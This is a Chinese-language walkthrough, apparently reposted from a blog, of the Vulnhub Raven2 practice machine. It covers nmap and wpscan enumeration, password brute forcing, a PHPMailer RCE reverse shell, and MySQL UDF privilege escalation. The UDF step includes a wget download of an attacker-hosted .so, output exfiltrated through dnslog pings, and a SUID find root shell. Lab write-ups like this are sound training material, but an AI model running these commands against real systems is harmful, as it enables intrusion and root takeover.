【Vulnhub系列】Vulnhub_Raven2靶场渗透(原创)

【Vulnhub系列靶场】Vulnhub_Raven2 渗透

原文转载已经过授权
原文链接:Lusen的小窝 - 学无止尽,不进则退 (lusensec.github.io)

一、环境准备

从网盘下载该靶机,在vm中选择【打开】

image-20240206132421898

然后设置好存储路径,开机后检查靶机的网络连接模式是否为【NET】模式。

二、信息收集

1、主机发现

nmap.exe -sn 192.168.31.*

image-20240205150548983

2、端口扫描

1、先进行粗略的扫描

nmap.exe -F 192.168.31.60

image-20240205150656838

2、再进行精细化扫描

nmap.exe -sT --min-rate 10000 -p- 192.168.31.60
nmap.exe -sU --min-rate 10000 -p- 192.168.31.60

image-20240205154034080

image-20240205151907050

3、进行全扫描和漏洞探测

nmap.exe -sT -sV -sC -O -p 22,80,111,54798,58157 192.168.31.60 -oA AllPortnmap.exe --script=vuln -p 22,80,111,54798,58157 192.168.31.60 -oA VulnPort

image-20240205154417067

确认是Linux操作系统,并且开放了111的rpcbind服务,有关这个服务可以上网搜索,也有很多该服务相关漏洞,后期是一个可利用的点。

image-20240205154452871

发现使用了wordpress框架,进行了目录的扫描,还发现有一个csrf 的漏洞,不过这个漏洞在个人渗透过程中起到的作用微乎甚微。

3、web目录探测

dirsearch.cmd -u http://192.168.31.60 -x 404,403	#过滤404、403

image-20240205151054134

看到有wordpress,疑似wordpress搭建的博客网站。

4、web框架探测

whatweb http://192.168.31.60	#在kali中用whatweb进行识别

image-20240205151433137

并未探测到wordpress框架,那我们去探测wordpress这个路径

image-20240205151835831

可以看到确定使用了wordpress框架。

三、获得shell立足点

1、敏感信息查看

1、.DS_Store文件:是macOS 操作系统的文件类型。它是由 Finder(Mac 上的文件管理器)创建的隐藏文件,用于存储有关特定文件夹的视图选项和元数据。

可以用GitHub的工具对其进行解析:https://github.com/gehaxelt/Python-dsstore

python main.py .DS_Store

image-20240205155926915

并没有发现有用的信息

2、Vendor路径信息收集

vendor/PATH:发现了一个flag1

image-20240205160305176

在/vendor/readme.md中发现PHPMailer,百度百科解释:是一个用于发送电子邮件的PHP函数包。直接用PHP就可以发送,无需搭建复杂的Email服务。

image-20240205171505826

/vendor/VERSION发现版本为5.2.16

image-20240205171505826

有关这个版本的漏洞也有很多

image-20240205171639908

3、wordress框架信息收集

继续将目标转移至 wordpress目录框架,对该目录再进行一次目录扫描

image-20240205160829021

我们访问wp-admin的时候发生了错误:

image-20240205162944210

一而再三的确认是wordpress 框架,这里不应该报错,可能是hosts解析。

我们打开系统组件中的hosts 文件

image-20240205163105055

添加如下本地hosts 文件的IP解析

image-20240205162546551

重新打开即可。

image-20240205163213369

wp-content/uploads路径下发现了flag3

image-20240205165525290

4、wordpress框架利用工具-wpscan

wpscan是专门针对wordpress利用的工具:

1、用户名扫描

wpscan --url http://192.168.31.60/wordpress/ --enumerate u

image-20240205171928756

有steven michael两个用户,将其保存在user.txt文件中

2、进行密码爆破

我们可以用密码生成工具cewl 针对wordpress生成专门的密码

cewl http://192.168.31.60/wordpress/ -w pass.txt

image-20240205172053643

之后在进行爆破

wpscan --url "http://192.168.31.60/wordpress/" -P "pass.txt" --usernames user.txt

image-20240205172154945

image-20240205172249849

为了增加爆破的概率,我在用户名中增加了admin、root两个用户,但是依然爆破失败。我们可以用自己的字典多次尝试。以及利用wpscan针对wordpress 的主题和插件漏洞进行扫描利用。

5、getshell

wordpress利用较为困难,我们将目光再转向PHPMailer。

我们优先使用如下几个远程代码执行脚本

image-20240205172633118

将四个脚本复制到本路径下

cp php/webapps/40968.sh /c/Users/Administrator/Desktop/test/script/

image-20240205172851755

在40974.py中,我们修改脚本内容如下,同时在本地起一个4444的监听

image-20240205190108255

然后执行该脚本,访问contact.php文件,会生成shell.php 文件,内容则是反弹shell,再访问shell.php,则拿到shell

image-20240205190259052

四、提权至root

1、翻找敏感文件

1、数据库的账号密码

我们知道在wordpress 框架下可以找到数据库的账号密码,在wp-config.php 文件中

image-20240206133212310

拿到MYSQL 数据库的账号密码:root:R@v3nSecurity

还是一个高权限的账号密码,可能存在数据库提权。

2、/etc/passwd文件

找到两个普通用户michael、steven

这两个用户名跟用wpscan工具扫描出来的wordpress用户名一样。

3、/home 目录

普通用户目录下也一无所获

image-20240206133656277

4、用find 命令查找高权限文件

find / -perm -u=s -type f 2>/dev/null

image-20240206134503358

并没有找到能提权的文件

2、数据库UDF提权

我们此时有数据库的高权限用户,可以尝试数据库提权

1、我们先进入交互式shell,然后再进行数据库连接

shell=/bin/bash script -q /dev/null

image-20240206135019626

2、查询是否满足UDF提权条件

select user();
select version();
show global variables like 'secure%';
show variables like 'plugin%';

image-20240206135517495

满足所有条件

3、查找udf提权的脚本并复制到本目录

searchsploit.cmd udf
cp exploits/linux/local/1518.c /c/Users/Administrator/Desktop/test

image-20240206141513845

image-202402061414457614、在本地进行编译

gcc -g -c 1518.c
gcc -g -shared -Wl,-soname,raptor_udf2.so -o 111.so 1518.o -lc

image-20240206141905939

5、上传至靶机/tmp目录

python3 -m http.server
#在靶机
cd /tmp
wget http://192.168.31.50:8000/111.so

6、之后按照udf提权姿势操作

use mysql;
create table foo(line blob);
insert into foo values(load_file('/tmp/111.so'));
select * from foo into dumpfile '/usr/lib/mysql/plugin/111.so';
create function do_system returns integer soname '111.so';
select * from mysql.func;

7、利用dnslog平台进行测试

select do_system("whoami")

如果不进行dnslog回显,结果将是如下:

image-20240206151817786

我们利用dnslog 平台进行回显:

select do_system("ping -c 1 `whoami`.hhk1dh.dnslog.cn");

image-20240206152819346image-20240206152833163

image-20240206152843521

3、获取root权限

这个时候我们可以以root权限执行任何命令,我们给find 命令SUID权限,然后通过find进行提权

1、确认find 的位置

select do_system("ping -c 1 `which find`.hhk1dh.dnslog.cn");

image-20240206153227992

2、给find SUID权限

select do_system("chmod u+s /usr/bin/find");

3、find 命令进行提权

find . -exec "/bin/sh" \;

image-20240206154445556

原文转载已经过授权
更多文章请访问原文链接:Lusen的小窝 - 学无止尽,不进则退 (lusensec.github.io)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/877092.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Redis缓存数据库进阶——Redis缓存数据同步问题(8)

Redis缓存使用问题 数据一致性 只要使用到缓存,无论是本地内存做缓存还是使用 redis 做缓存,那么就会存在数据同步的问题。 我以 Tomcat 向 MySQL 中写入和删改数据为例,来给你解释一下,数据的增删改操作具体是如何进行的。 我…

从入门到精通:电商设计师的职业发展指南

在当今数字时代,电商设计师的作用越来越重要。从电子商务网站的整体造型设计到产品页面的具体布局,他们的工作范围是电子商务企业成功的关键因素之一。然而,并不是每个人都对这个职业有深刻的理解。因此,在本文中,我们…

【Git-驯化】一文学会git中对代码进行存储操作:git stash技巧

【Git-驯化】一文学会git中对代码进行存储操作:git stash技巧 本次修炼方法请往下查看 🌈 欢迎莅临我的个人主页 👈这里是我工作、学习、实践 IT领域、真诚分享 踩坑集合,智慧小天地! 🎇 免费获取相关内…

【无标题】DNS域名解析

回顾指令: samba机器: 安装samba Yum -y install samba 自建库,只下载不安装 Yum -y install --downloadonly --downloaddir./soft/ 配置samba Vim /etc/samba/smb.conf [smb_share] comment smb share service path /share/ guest…

python爬虫的基础知识

1.学习爬虫的好处 提升编程技能:爬虫开发需要掌握编程基础,特别是网络请求、HTML/CSS/JavaScript解析、数据存储和异常处理等技能。通过学习爬虫,你可以巩固和提升你的编程技能,特别是Python等编程语言的应用能力。 数据驱动决策…

力扣高频SQL 50题(基础版)第二十四题

文章目录 力扣高频SQL 50题(基础版)第二十四题1729.求关注者的数量题目说明实现过程准备数据实现方式结果截图 力扣高频SQL 50题(基础版)第二十四题 1729.求关注者的数量 题目说明 表: Followers ----------------…

QT--聊天室

一、设计要求 用QT做一个聊天室, 制作一个服务器和客户端。可以进行注册、登录, 登陆成功后可以使用昵称进行发送、接收消息。 能根据昵称、聊天内容查询历史记录,也可以查询全部聊天记录。 。 二、客户端三级ui界面 三、项目代码 //在…

【Redis进阶】集群

1. 集群分片算法 1.1 集群概述 首先对于"集群"这个概念是存在不同理解的: 广义的"集群":表示由多台主机构成的分布式系统,称为"集群"狭义的"集群":指的是redis提供的一种集群模式&…

K210视觉识别模块学习笔记8:Mx_yolo3本地模型训练环境搭建_部署模型到亚博canmv(失败)

今日开始学习K210视觉识别模块: 本地模型训练环境搭建 亚博智能 K210视觉识别模块...... 固件库: canmv_yahboom_v2.1.1.bin 本地训练 Mx_yolo3 这里就简单地提示一下下载安装哪些软件,然后主要是使用Mx_yolo3 进行本地训练模型的...... 本文不…

【Android】Fragment的添加

上一篇文章学到了碎片的创建与生命周期,接下来学习碎片的常用操作,其中会用到上一篇文章的三个碎片,就做一个简单的说明吧:LeftFragment(包含一个按钮)、RightFragment4(以粉色为背景的文本&…

跨境电商选品师做好这几个关键点

在当今充满竞争的跨境电商市场上,成为一名成功的选品师并非易事。以下是几个关键点,能够帮助跨境电商选品师做好工作并取得成功。下面老阳为大家总结几点做好跨境选品师的几个关键点,希望对大家有所帮助。 首先,深入市场调研和产品…

Notepad

https://codeforces.com/contest/17/problem/D ​​​​​​​ 没有前导零 因此一共写个数字&#xff0c;再mod c 数据范围很大,因此我们魔改一下快读 再用扩展欧拉定理 #include<iostream> #include<cstdio> #include<cstring> using namespace std; ty…

JAVA里的多线程上部(详解)

1.实现多线程 1.1简单了解多线程【理解】 是指从软件或者硬件上实现多个线程并发执行的技术。 具有多线程能力的计算机因有硬件支持而能够在同一时间执行多个线程&#xff0c;提升性能。 1.2并发和并行【理解】 并行&#xff1a;在同一时刻&#xff0c;有多个指令在多个CPU上…

华清IOday2 24-7-29

1> 写一个日志文件&#xff0c;将程序启动后&#xff0c;每一秒的时间写入到文件中 1、2024- 7-29 10:31:19 2、2024- 7-29 10:31:20 3、2024- 7-29 10:31:21 ctrlc:停止程序 ./a.out 4、2024- 7-29 10:35:06 5、2024- 7-29 10:35:07 6、2024- 7-29 10:35:08 main.c …

缓存穿透,缓存击穿,缓存雪崩

目录 介绍 缓存穿透 缓存击穿 缓存雪崩 原因 影响 解决方案 缓存穿透 防止缓存穿透->空值缓存案例 缓存击穿 使用互斥锁解决缓存击穿 介绍 缓存穿透 定义&#xff1a;缓存穿透是指用户查询数据&#xff0c;缓存和数据库中都不存在该数据&#xff08;一般是发起恶意…

实战:ZooKeeper 操作命令和集群部署

ZooKeeper 操作命令 ZooKeeper的操作命令主要用于对ZooKeeper服务中的节点进行创建、查看、修改和删除等操作。以下是一些常用的ZooKeeper操作命令及其说明&#xff1a; 一、启动与连接 启动ZooKeeper服务器&#xff1a; ./zkServer.sh start这个命令用于启动ZooKeeper服务器…

403 forbidden (13: Permission denied)

403 forbidden (13: Permission denied) 目录 403 forbidden (13: Permission denied) 【常见模块错误】 【解决方案】 欢迎来到我的主页&#xff0c;我是博主英杰&#xff0c;211科班出身&#xff0c;就职于医疗科技公司&#xff0c;热衷分享知识&#xff0c;武汉城市开发者…

基于视觉的语义匹配见多了,那基于雷达的呢?

论文题目&#xff1a; LiDAR-based HD Map Localization using Semantic Generalized ICP with Road Marking Detection 论文作者&#xff1a; Yansong Gong, Xinglian Zhang, Jingyi Feng, Xiao He and Dan Zhang 作者单位&#xff1a;北京驭势科技有限公司 导读&#xff…

python 查询机器python、gpu、安装包等环境版本信息

checkenv.py """Check environment configurations and dependency versions."""import importlib import os import resource import subprocess import sys from collections import OrderedDict, defaultdictimport torch# 查询自己想要的包…

cf960(div2)

A. Submission Bait&#xff08;博弈&#xff09; 题意&#xff1a;爱丽丝和鲍勃在大小为n的数组a中进行游戏&#xff0c;他们轮流进行运算&#xff0c;爱丽丝先开始&#xff0c;不能运算的一方输&#xff0c;一开始mx0&#xff0c;每次操作&#xff0c;玩家可以选择一个牵引i…